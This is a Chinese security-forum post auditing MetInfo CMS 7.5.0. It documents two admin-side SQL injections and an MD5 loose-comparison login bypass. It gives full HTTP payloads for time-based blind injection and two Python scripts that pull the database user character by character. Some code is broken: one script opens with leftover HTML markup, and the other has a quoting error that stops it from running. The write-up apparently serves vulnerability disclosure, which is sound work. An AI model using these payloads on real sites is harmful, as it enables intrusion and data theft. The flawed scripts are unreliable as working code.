安全矩阵

 找回密码
 立即注册
搜索
查看: 2509|回复: 0

某Info CMS代码审计

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 13:59:10 | 显示全部楼层 |阅读模式
原文链接:某Info CMS代码审计

0x00:环境说明Windows 10
Phpstuby
Php版本:7.2.9
CMS版本:MetInfo7.5.0
0x01:目录结构
  1. |-- about
  2. |-- about1
  3. |-- admin
  4. |-- app
  5. |-- cache
  6. |-- case
  7. |-- config
  8. |-- download
  9. |-- favicon.ico
  10. |-- feedback
  11. |-- hits
  12. |-- img
  13. |-- include
  14. |-- index.php
  15. |-- install
  16. |-- job
  17. |-- member
  18. |-- message
  19. |-- news
  20. |-- online
  21. |-- product
  22. |-- public
  23. |-- robots.txt
  24. |-- search
  25. |-- sitemap
  26. |-- tags
  27. |-- templates
  28. |-- upload
复制代码


0x02:开始审计注意:以下漏洞均已被CNVD收录
SQL注入
CMS的安装就略过了,该项目的控制器目录是app,直接从app目录下的文件开始审。
在文件 app\system\user\admin\parameter.class.php 下的 doDelParas 函数,表单的 id 被传递给了 delete_para_value 方法,跟进该方法。

在文件 app/system/parameter/include/class/parameter_database.class.php 的 delete_para_value 函数可以看到传入的 id 被直接拼接到sql语句中,继续跟进到 DB::query($query)。

在文件 app/system/include/class/mysql.class.php 的 query 函数下,sql 语句被传递给了 self:link->query 方法,跟进变量 $link 可以看到已经是 mysqli 对象了。


使用 burpsute 进行注入攻击,注意需要管理员权限,payload:
  1. POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
  2. Host: cms.cn
  3. Content-Length: 60
  4. Pragma: no-cache
  5. Cache-Control: no-cache
  6. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  7. Origin: http://cms.cn
  8. Referer: http://cms.cn/admin/
  9. Connection: close
  10. Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

  11. id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
复制代码


测试结果如下,成功触发基于时间的布尔盲注延时2秒,id 164是当前表默认存在的。

编写python脚本跑出用户名
  1. <pre style="padding: 16px;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;font-size: 12.75px;line-height: 1.6;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;border-radius: 3px;word-break: normal;overflow-wrap: normal;white-space: pre-wrap;background-color: rgb(247, 247, 247);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.15);box-sizing: border-box;overflow: auto;"><span style="box-sizing: border-box;color: rgb(32, 74, 135);font-weight: bold;">import</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">requests</span></pre>
  2. url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
  3. headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
  4.            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
  5. proxies = {"http": None}
  6. req = requests.session()
  7. result = ''
  8. for mid in range(15):
  9.     for i in range(30, 150):
  10.         data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i)
  11.         resp = req.post(url, data=data, headers=headers, proxies=proxies)
  12.         if resp.elapsed.total_seconds() > 1.5:
  13.             result += chr(i)
  14.             print(result)
复制代码



SQL注入
在文件 app\system\parameter\admin\parameter_admin.class.php 的 doparasave 函数下跟进 table_para 方法,table_para 方法接收了两个表单参数,$_M[‘form’] 接收表单的所有键值对,$_M[‘form’][‘module’] 接收表单的module参数。

在table_para 函数,需要构造表单的内容使数据能传入到update_para_list或insert_para_list方法,这两个方法都可以触发sql注入,这里我选择使用insert_para_list来触发。

跟进到insert_para_list方法,$field[‘options’]的数据需要是json格式,$options的一个值需要是数组,使foreach之后$option是数组,然后$module的数据就赋值给$option[‘module’]。

进入 app\system\parameter\include\class\parameter_database.class.php 文件的add_para_value方法,可以看到 $option[‘module’] 被直接拼接到sql语句并且没有使用单引号,这里就导致了sql注入。

捋一下思路,我们需要构造 $_M[‘form’] 表单让方法能正常调用以下流程
doparasave -> table_para -> insert_para_list -> add_para_value
而 $_M[‘form’][‘module’] 表单则构造sql语句。
使用 burpsute 进行注入攻击,注意需要管理员权限,payload:
  1. POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
  2. Host: cms.cn
  3. Content-Length: 126
  4. Pragma: no-cache
  5. Cache-Control: no-cache
  6. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  7. Origin: http://cms.cn
  8. Referer: http://cms.cn/admin/
  9. Connection: close
  10. Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

  11. allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)
复制代码


测试结果如下,成功触发基于时间的布尔盲注延时差不多1秒。

python脚本:

  1. import requests

  2. url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
  3. headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
  4.            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
  5. proxies = {"http": None}
  6. req = requests.session()
  7. result = ''

  8. for mid in range(15):
  9.     for i in range(30, 150):
  10.         data = "allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i)
  11.         resp = req.post(url, data=data, headers=headers, proxies=proxies)
  12.         if resp.elapsed.total_seconds() > 0.8:
  13.             result += chr(i)
  14.             print(result)
复制代码


md5弱类型比较
在文件 app/system/user/web/login.class.php 的 dologin函数下,$this->login 方法接收了表单的username与password,跟进该方法。

在login函数中继续跟进到 $this->userclass->login_by_password 方法。

在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 $user 从方法 $this->get_user_by_username($username); 获取了数据库查询的会员数据。表单的password被进行了md5加密,然后与 $user[‘password’] 进行了比较,由于使用了两个等于号,所以存在md5弱类型比较漏洞。(经常打ctf的应该都知道)

漏洞复现
首先注册一个账号 abab,密码设置为md5加密后为0e开头的字符串。

登录时使用md5加密后为0e开头的字符串即可。

结语可以发现大部分是后台的漏洞,前台防的比较紧,不过这些漏洞CNVD都是收录的。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:13 , Processed in 0.013326 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表